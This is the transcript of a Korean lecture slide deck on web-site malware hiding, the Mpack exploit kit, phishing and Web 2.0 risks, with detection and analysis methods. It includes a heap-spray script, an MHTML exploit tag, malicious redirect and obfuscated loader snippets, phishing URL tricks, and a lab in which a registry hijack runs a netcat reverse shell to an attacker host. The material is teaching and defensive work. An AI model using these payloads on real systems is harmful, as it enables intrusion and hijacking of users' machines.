section iii 웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17. 웹 사이트...

66
1

Upload: melosa

Post on 17-Jan-2016

137 views

Category:

Documents


10 download

DESCRIPTION

Section III 웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17. 웹 사이트 악성코드 은닉 18. 웹 해킹 툴 (Mpack) 19. 피싱 20. Web2.0 의 취약점 21. 홈 페이지변조 감시 22. 웹 보안 솔루션의 한계. 학습 포인트 1. 최근 웹 해킹 기법에 대한 이해 2. 최근 빠르게 성장하는 Web2.0 의 보안 문제점 3. 웹 방화벽에 대한 이해 및 효과적 활용방안. 17. 악성코드 은닉의 이해. - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

1

Page 2: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

Section III 웹 해킹 고도화 기법과 웹 방화벽 보안상 향상

17. 웹 사이트 악성코드 은닉

18. 웹 해킹 툴 (Mpack)

19. 피싱

20. Web2.0 의 취약점

21. 홈 페이지변조 감시

22. 웹 보안 솔루션의 한계

2

Page 3: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

학습 포인트

1. 최근 웹 해킹 기법에 대한 이해

2. 최근 빠르게 성장하는 Web2.0 의 보안 문제점

3. 웹 방화벽에 대한 이해 및 효과적 활용방안

3

Page 4: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

4

17. 악성코드 은닉의 이해

Page 5: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

5

구 분 설 명

Adult 성인 및 포르노 관련 사이트

Music 유명 아티스트 및 밴드 관련 사이트

News 정치 및 스포츠 , 엔터테인먼트 관련 사이트

User Content Blog 와 같은 사용자 저작물 사이트

Warez 해킹 및 소프트웨어 크랙 툴 등

Defaced 해킹을 당했던 시스템 등 ( 홈페이지 변조 등 )

Typo유명사이트의 주소 입력 오타로 인해 접근되는 사이트 예 ) www.googel.com 등

17. 악성코드 은닉의 이해 - 악용대상

Page 6: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

6

* MHTML 프로토콜 핸들러 취약점 샘플

<object width=0 height=0 style=display:none;type=text/xscriptlet"

Data=mk@MSITStore:mhtml:c:\nosuchfile.mht!http://www.XXX.com/exploit._chm::exploi

t.html>

</object>

○ MHTML URL Processing 취약점 악용

(1) Internet Explorer 는 프로토콜 핸들러를 통해 MHTML 형식의 파일에 접근가능(2) 그러나 IE 가 프로토콜 핸들러 (mk@MSITStore) 통해 접속할 수 없는 경우 (3) 대체 주소로 접근하고 실행

아래 샘플코드를 보면 로컬 시스템에 c:\nosuchfile.mht 파일이 존재하지 않을 때 원격지 http://www.XXX.com/exploit._chm::exploit.html 파일을 로컬 파일로 실행시킬 수 있다 .

17. 악성코드 은닉의 이해 - 악용사례

Page 7: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

7

○ MS 웹 브라우저 7 버전 취약점 악용

홈 페이지를 해킹하여 페이지 중간에 링크 (Iframe 태그 ) 를 걸어 외부 URL 접속을 유도함

17. 악성코드 은닉의 이해 - 악용사례

Page 8: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

8

○ MS 웹 브라우저 7 버전 취약점 악용 ( 계속 )

17. 악성코드 은닉의 이해 - 악용사례

hankyong.cn/css/js.htm 접속시 아래와 같은 코드가 포함된 사이트로 접속되고

웹 브라우저의 취약점을 악용한 버퍼오버플로우 공격의 일종임

<script language="javascript">function spray(sc){var addre = 0x0a0a0a0a;var fucker

= unescape;

var doit = fucker(sc);var heapBlockSize = 0x100000;var payLoadSize = doit.length *

2;var spraySlideSize = heapBlockSize - (payLoadSize+0x038);var spraySlide =

fucker("%u0a0a%u0a0a");spraySlide =

getSpraySlide(spraySlide,spraySlideSize);heapBlocks = (addre -

0x100000)/heapBlockSize;memory = new Array();for (i=0;i<heapBlocks;i++){     

memory[i] = spraySlide + doit;}}function getSpraySlide(spraySlide, spraySlideSize)

{while //seemen

(spraySlide.length*2<spraySlideSize){      spraySlide += spraySlide;}spraySlide =

spraySlide.substring(0,spraySlideSize/2);return spraySlide;}</script>

Page 9: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

9

bufSFP

RET

ESP

EBP

EIP

스택의 모습

○ MS 웹 브라우저 7 버전 취약점 악용 ( 계속 )

17. 악성코드 은닉의 이해 - 악용사례

void main(void){

char buf[5];char attack=aa..a;// aa 를 10 개 입력strcpy(buf, attack);

}

bufbufbufbuf

cmd.exe 실행

메모리 구조

Page 10: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

10

17. 악성코드 은닉의 이해 – Redirect 기법

메타태그

<html><head><meta http-equiv="refresh" content="0;URL=http://www.maliciouscode.com/"></head><body><a href="http://www.xxx.com/cgi-bin/whole.cgi?podstavos="></a></body></html>

Page 11: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

11

17. 악성코드 은닉의 이해 – Redirect 기법

자바 스크립트 Location 태그

<script>location = "http://www.maliciouscode.com";

</script>

Iframe 태그

<iframe src=“http://www.malicious.com/” width=xxx>hello world!!</iframe>

Page 12: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

12

17. 악성코드 은닉의 이해 – Redirect 기법

Unescape() 및 unescape() 함수를 이용한 URI 인코딩 (obfuscated 기법 )

escape('&#$%^')==>%26%23%24%25%5E

unescape('%26%23%24%25%5E')==>&#$%^

<script language=“javascript”>

document.write(unescape(“%3Cscript….”);

</script>

Page 13: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

13

17. 악성코드 은닉의 이해 – Redirect 기법

obfuscated 기법

01: <SCRIPT LANGUAGE="JavaScript">

02: {var temp="",i,c=0,out="";

03 :

str="60!115!99!114!105!112!116!32!116!121!112!101!61!34!116!101!

120!116!47!106!97!118!97!115!99!114!105!112!116!34!62!13!10!105!102!32!40!

116!111!112!46!108!111!99!97!116!105!1!108!111!99!97!116!105!111!110!46!

104!114!101!102!32!61!32!100!111!99!117!109!101!112!";

04: l=str.length;

05: while(c<=str.length-1)

06: {while(str.charAt(c)!='!')temp=temp+str.charAt(c++);

07: c++;

08: out=out+String.fromCharCode(temp);

09: temp="";}document.write(out);

10: }

11: </SCRIPT>

Page 14: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

14

17. 악성코드 은닉의 이해 – Redirect 기법

obfuscated 코드가 포함된 사이트 분석 (1)

해당 파일을 클릭하여 사이트로 접속 – 위험한 방법

URL 확인

Page 15: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

15

17. 악성코드 은닉의 이해 – Redirect 기법

obfuscated 코드가 포함된 사이트 분석 (2)

이벤트를 화면으로 출력하는 형태로 변경

Page 16: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

16

17. 악성코드 은닉의 이해 – Redirect 기법 (ARP Spoofing)

Page 17: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

17

17. 악성코드 은닉의 이해 – Redirect 기법 (ARP Spoofing)

감염의 특징

(1)특정서버의 권한을 획득하고 악성 프로그램 설치

(2)특정 서버에 설치된 악성코드가 주기적인 MAC 주소 브로드캐스팅을 통해 웹 서버를 가장함

( 특정서버는 자신의 MAC 주소를 웹 서버의 MAC 주소라고 속이는 패킷을 LAN 상에

전송 )

(3) 사용자의 요청된 데이터를 변조하여 Response 에 Iframe 악성 태그 삽입

공격자철수 PC 영희 PC

Page 18: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

18

17. 악성코드 은닉의 이해 – Redirect 기법

arp 프 로 토 콜 (static,

dynamic)Who has the following ip :

141.23.56.23

It’s meMy mac is a46e…

Page 19: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

19

17. 악성코드 은닉의 이해 – Redirect 기법

arp 프 로 토 콜 (static,

dynamic)

Page 20: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

20

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(1) 파일을 만들어 직접 접속 ( 단 offline 상태에서 수행 )

(2) 프록시 도구를 이용하여 생성파일 클릭 – 자바스크립트 분석 및 URL

접속

(3) 프로그램 소스 디버깅 툴을 이용한 분석

Page 21: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

21

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(3) 프로그램 소스 디버깅 툴을 이용한 분석 ( 계속 )

Page 22: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

22

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(4) 솔루션을 이용한 악성코드 탐지 기법 – Virus 검색 사이트

Page 23: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

23

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(5) 솔루션을 이용한 악성코드 탐지 기법 – 허니팟

- High Interaction HoneyPots

: 침입 이벤트 발생 시 시스템 변화를 모니터링하여 악성코드 탐지

- Low Interaction HoneyPots

: 사전 등록된 패턴을 이용하여 악성코드 탐지

그림 . Spybye 구성도

Page 24: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

24

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(5) 솔루션을 이용한 악성코드 탐지 기법 – 허니팟 (Low Interactions HoneyPots)

Page 25: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

25

17. 악성코드 은닉의 이해 – 악성코드 분석 방법(5) 레지스트리 분석을 통한 악성코드 탐지 기법

① HKEY_CLASSES_ ROOT이 곳에 저장되는 것은 OLE 데이터와 파일의 각 확장자에 대한 정보 , 각 파일과 프로그램간의 연결에 대한 정보가 들어 있다 . HKEY_CLASSES_ROOT 안에는 파일의 확장자들에대한 sub-tree 로 구성되는데 일반적으로 각 확장자는 파일 타입과 연결되어 있음

② HKEY_CURRENT_ USER윈도우가 설치되어 있는 컴퓨터의 환경에 대한 설정이 담겨 있는 곳으로 하나의 윈도우를여러 명이 사용할 경우 , 사용자들이 각각에 대한 ID 와 패스워드를 이용하여 윈도우에 접속했을 때 접속한 사용자가 맞추어 놓은 설정을 반영하기 위한 곳이다 .

③ HKEY_ LOCAL_MACHINE컴퓨터에 설치된 하드웨어를 구동 시키는데 필요한 드라이버나 설정 사항에 관련된 정보를 모아 둔 곳이다 . 프린터와 화면 설정 등과 같이 컴퓨터를 켜고 윈도우를 부팅할 시에 필요한 설정 , 컴퓨터에 설치된 하드디스크 드라이브나 플로피 드라이브 , 플러그앤 플레이를 지원하는 하드웨어에 관한 정보 , 디바이스 드라이버나 시스템에서 사용하는 소프트웨어에 관한 전반적인 정보를 담고 있다 .

Page 26: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

26

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(5) 레지스트리 분석을 통한 악성코드 탐지 기법

④ HKEY_ USERHKEY_CURRENT_USER 에 저장된 정보와 데스크 탑 설정 , 네트워크 연결 등의 정보가 저장되어 있으며 USER.DAT 에 저장한다 . 즉 , 윈도우를 사용하는 사람이 한 사람일 경우 모든설정 사항이 HKEY_CURRENT_USER 의 내용과 일치하게 된다 .

⑤ HKEY_CURRENT_CONFIG레지스트리 중에서 가장 단순한 부분으로 HKEY_LOCAL_MACHINE 에 서브로 존재하는Config 의 내용이 담겨 있다 . 즉 , 디스플레이와 프린터에 관한 설정만을 볼 수 있다 .

⑥ HKEY_ DYN_ DATA윈도우 2000 에서는 없어진 레지스트리로 자주 사용하는 하드웨어 장치의 정보를 따로 저장하는 윈도우의 모니터 역할의 정보가 담겨있다 .

Page 27: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

27

윈도우 부팅 시 프로그램 자동 시작 위치

HKLM/Software/Microsoft/Windows/CurrentVersion/Run

HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnce

HKLM/Software/Microsoft/Windows/CurrentVersion/RunOnceEx

HKLM/Software/Microsoft/Windows/CurrentVersion/RunServices

HKLM/Software/Microsoft/Windows/CurrentVersion/RunServicesOnce

HKLM/Software/Microsoft/Windows/CurrentVersion/Windows/Load

HKLM/Software/Microsoft/Windows/CurrentVersion/Windows/Run

HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/Userinit

HKCU/Software/Microsoft/Windows/CurrentVersion/Run

HKCU/Software/Microsoft/Windows/CurrentVersion/RunOnce

HKCU/Software/Microsoft/Windows/CurrentVersion/RunOnceEx

HKCU/Software/Microsoft/Windows/CurrentVersion/RunServicesOnce

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(5) 레지스트리 분석을 통한 악성코드 탐지 기법

Page 28: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

28

아래의 레지스트리 항목에 등록되어 , 윈도우 시작 시 자동 실행

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\

Run\"Microsoft Autorun14" = "%System%\ztinetzt.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\

Run\"Microsoft Autorun9" = "%System%\Ravasktao.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\

Run\"Microsoft Autorun7" = "%System%\nwiztlbu.exe"

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(5) 레지스트리 분석을 통한 악성코드 탐지 기법

이름 : W32.Ogleon.A 는 이동식 저장 장치를 통해 확산되는 웜

발견됨 : 2007년 6 월 26 일

업데이트됨 : 2007년 6 월 28 일 5:57:58 AM

유형 : Worm

감염 길이 : 282,491 바이트

영향을 받는 시스템 : Windows 2000, Windows 95, Windows 98, Windows Me,

Windows NT, Windows Server 2003, Windows XP

Page 29: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

29

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(5) 레지스트리 분석을 통한 악성코드 탐지 기법 – Autoruns 을 통한 시작 위치 확인

Page 30: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

30

파일 확장자 정보 연결을 결정하는 HKEY_CLASSES_ROOT 위치의 값을 조작

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(6) 레지스트리 변조

HKEY_CLASSES_ROOT( 파일 확장자에 따른 프로그램 연결 정보 포함 )

[HKEY_CLASSES_ROOT\exefile\shell\open\command] @=""%1" %*"

[HKEY_CLASSES_ROOT\comfile\shell\open\command] @=""%1" %*"

[HKEY_CLASSES_ROOT\batfile\shell\open\command] @=""%1" %*"

[HKEY_CLASSES_ROOT\htafile\shell\open\command] @=""%1" %*"

[HKEY_CLASSES_ROOT\piffile\shell\open\command] @=""%1" %*"

[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1"

%*"

[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1"

%*"

[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1"

%*"

[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1"

%*"

[HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command] @=""%1"

%*"

Page 31: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

31

HKEY_LOCAL_MACHINE\CLASSES\batfile\shell\open\command 정보를 조작하여로컬의 원도의 쉘 (cmd) 을 공격자에게 전송 (TCP 6000 연결 )

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(6) 실습 – 레지스트리 변조

로컬

사용자가 *.bat 실행 시자동으로 start.bat 실행

TCP 6000 cmd.exe

공격자Listening 6000번

Page 32: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

32

원본 :[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @="\"%1\" %*"

변경 : C:\start.bat “%1” %*

BAT 확장자를 가진 파일 실행 시 윈도우 쉘 (cmd) 을 TCP 6000번으로 전송

start.bat 내용

@echo off

Start /I /MIN c:\nc 1.1.1.1 6000 –e cmd.exe

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(6) 실습 – 레지스트리 변조

Page 33: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

많은 실행 프로세스들을 가지고 있으며 이러한 프로세스 중에는 공격자가 실행시켜 놓은 악성프로그램이 실행되고 있거나 흔적이 남아 있을 수 있으니 자세히 확인해 볼 필요 있음

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(7) 분석도구의 필요성

Page 34: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

34

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(7) 분석도구 종류

Page 35: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

35

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(7) 분석도구 - Icesword

프로세스 , 네트워크 , 시작 프로그램 등의 상세한 정보를 제공하여 악성코드 탐지에 사용

Page 36: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

36

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(7) 분석도구 - GMER

시스템 스캔 기능을 통해 악성코드 사용여부를 검사할 수 있음

Page 37: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

37

Question: How to remove Rustock rootkit ? ?

Answer: When GMER detects hidden service click "Delete the service" and answer YES to all questions.

                                                                                                                                                                          

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(7) 분석도구 - GMER

Page 38: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(7) 의심스런 프로세스 분석 방법 (1)

프로세스의 실행 위치를 파악하여 프로그램의 목적 ( 개발사 , 설치 위치 , 프로그램의 상세한 정보 등 ) 을 파악하여 의심스런 프로세스 여부를 파악할 수 있음

프로세스 실행 위치

IceSword

Page 39: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

분석도구에서 확인된 프로세스의 용도를 알 수 없는 경우

http://www.liutilities.com/products/wintaskspro/processlibrary/

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(7) 의심스런 프로세스 분석 방법 (2)

Page 40: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

http://www.file.net

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(7) 의심스런 프로세스 분석 방법 (3)

Page 41: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

System

C:\Program Files\Java\jre1.5.0_11\bin\jusched.exe

C:\WINDOWS\system32\svchost.exe

C:\Program Files\Fasoo DRM\fph.exe

C:\WINDOWS\system32\WinSPMsv.exe

C:\WINDOWS\system32\ctfmon.exe

C:\Program Files\Adobe\Acrobat 6.0\Distillr\acrotray.exe

C:\WINDOWS\system32\smss.exe

C:\WINDOWS\system32\csrss.exe

C:\WINDOWS\system32\winlogon.exe

C:\WINDOWS\system32\scvhost.exe

C:\WINDOWS\system32\igfxtray.exe

C:\WINDOWS\system32\hkcmd.exe

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(7) 의심스런 프로세스 분석 방법 (4)

Page 42: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

File.net 검색 결과

If scvhost.exe is located in a subfolder of C:\Windows\System32 then the

security rating is 71% dangerous. File size is 1682432 bytes.

If scvhost.exe is located in a subfolder of

"C:\Documents and Settings" then the security rating is 39% dangerous.

File size is 27648 bytes (50% of all occurrence), 307678 bytes.

17. 악성코드 은닉의 이해 – 악성코드 분석 방법

(7) 의심스런 프로세스 분석 방법 (5)

Page 43: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

18. 웹 해킹 툴 (Mpack)

Mpack 을 통한 감염 경로

Mpack Server

Page 44: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

18. 웹 해킹 툴 (Mpack)

Mpack 의 공격 과정

(1) MPack(v0.90) 은 스스로 웹 사이트 취약점을 찾거나 공격하는 프로그램은 아님

(2) MPack 프로그램이 설치된 웹 사이트에 접속한 Client 브라우저의 HTTP_USER_AGENT 헤더를 분석하여 Client OS, 브라우저 종류 /버전 그리고 서비스 팩 버전 등을 확인한다 .

(3) MPack 은 분석된 Client 정보를 기반으로 , 해당 Client 에 존재할 수 있는 취약점에 해당하는 공격 코드를 Client 웹 브라우저에 응답 데이터로 전송한다 .

ROT-5 적용- MS06-014 : MDAC Code Execution- MS06-044 : Microsoft Management Console Code Execution- MS06-071 : XML overflow XP/2k3

ROT-5 미 적용- MS06-006 : Firefox 1.5.x ?Opera 7.x – Window Media Player Code Execution- MS06-057 : Window Explorer Code Execution - WebViewFolderIcon overflow- WinZip ActiveX overflow- QuickTime overflow- MS07-017 : ANI overflow

Page 45: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

45

18. 웹 해킹 툴 (Mpack)

Mpack 의 공격 과정

Page 46: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

46

구분 역할 관련 파일 기타 관련 파일

File WriteC:\program files\Internet Explorer\IEXPLORE.EXE

C:\syswcon.exe

process CreatedC:\program files\Internet Explorer\IEXPLORE.EXE

C:\syswcon.exe

file Write C:\syswcon.exeC:\windows\system32\Drivers\uzcx.exe

process TerminatedC:\program files\Internet Explorer\IEXPLORE.EXE

C:\syswcon.exe

registry SetvalueKeyC:\windows\system32\Drivers\uzcx.exe

HKCU\Software\ewrew\Uzcx\main\cid

file WriteC:\windows\system32\Drivers\uzcx.exe

C:\document and settings\cseifert\local settings\temporary Internetfiles \conten.IE5\OPUJWX63\benupd32[1].exe

file writeC:\windows\system32\Drivers\uzcx.exe

C:\windows\benupd32.exe

process CreatedC:\windows\system32\Drivers\uzcx.exe

C:\windows\benupd32.exe

registry SetvalueKeyC:\windows\system32\Drivers\uzcx.exe

HKCU\software\ewrew\uzcx\main\term

process Created C:\windows\benupd32.exe C:\windows\benupd32.exe

file Write -C:\Documents and Settings\cseifert\local settings\Temp\clean\336s7.dll

process Created C:\windows\benupd32.exe C:\windows\system32\regsvr32.exe

registry SetvaluKey C:\windows\explorer.exeHKLM\SYSTEM\ControlSet001\Services\Idrsvc\Parameters\serviceDLL

18. 웹 해킹 툴 (Mpack)Mpack 감염증상

Page 47: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

47

19. 피싱

1) 취약한 사이트 시스템 권한을 획득하여 가짜 웹 사이트를 운영한다 .

2) 무차별 메일 발송 ( 개인정보 만료가 되었으니 정보를 업 데이트 !! )

3) 사용자 메일의 링크 사이트 클릭

4) 사용자 개인 정보 입력 , 공격자는 해당 정보를 이용하여 금융 거래를 한다 .

피싱 (Private Information + Fishing) 개념

Page 48: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

48

19. 피싱피싱 (Private Information + Fishing) 개념

Page 49: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

49

19. 피싱URL 주소 변조

사용자는 앞단 링크로 보이지만 실제로는 @ 뒤에 URL 페이지를 방문하게 된다 .

예 ) http://www.XXX.com%01%[email protected]/index.html

-

http://www.google.com/url?q=http://www.evenstar.co.kr&sa=X&oi=unauthorizedre

direct

&ct=targetlink&ust=1215765263970950&usg=AFQjCNEG9cks6_zJI3UdVOUXsreUZ

y_DAQ

URL Redirection 링크

http://www.googel.com ( 원본 : www.google.com)

URL Typo

Page 50: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

50

<script language="JavaScript">e = '0x00' + '5F';str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7 %BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1 %F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF %C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

19. 피싱URL Obfuscation

- http://www.p&#1072;ypal.com ( 원래 http://www.paypal.com)

(#1072 는 십진수로 표기이며 문자열 a 를 나타냄 )

IDN(Internationalized Domain Names 은 영문자 대신 각 지역 언어의 문자를 그대로 사용하는 다국어 도메인 이름이다 .

Page 51: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

51

20. Web2.0 취약점

Web 2.0 은 O'Reilly 와 Medialive International 의 컨퍼런스 브레인스토밍 세션에서 Dale Dougherty

가 Web 2.0 을 제안한 것에서 제안됨

Web 1.0 과 2.0 의 차이

Web 2.0 개념

Page 52: Section III  웹 해킹 고도화 기법과 웹 방화벽 보안상 향상 17.   웹 사이트 악성코드 은닉 18.  웹 해킹 툴 (Mpack) 19.  피싱

52

해당 구조의 특징은 현재 사용하는 자바스크립트와 동일하게 웹 브라우저에 종속된 컴포넌트를

통해 웹 서버와 통신을 송 . 수신 함

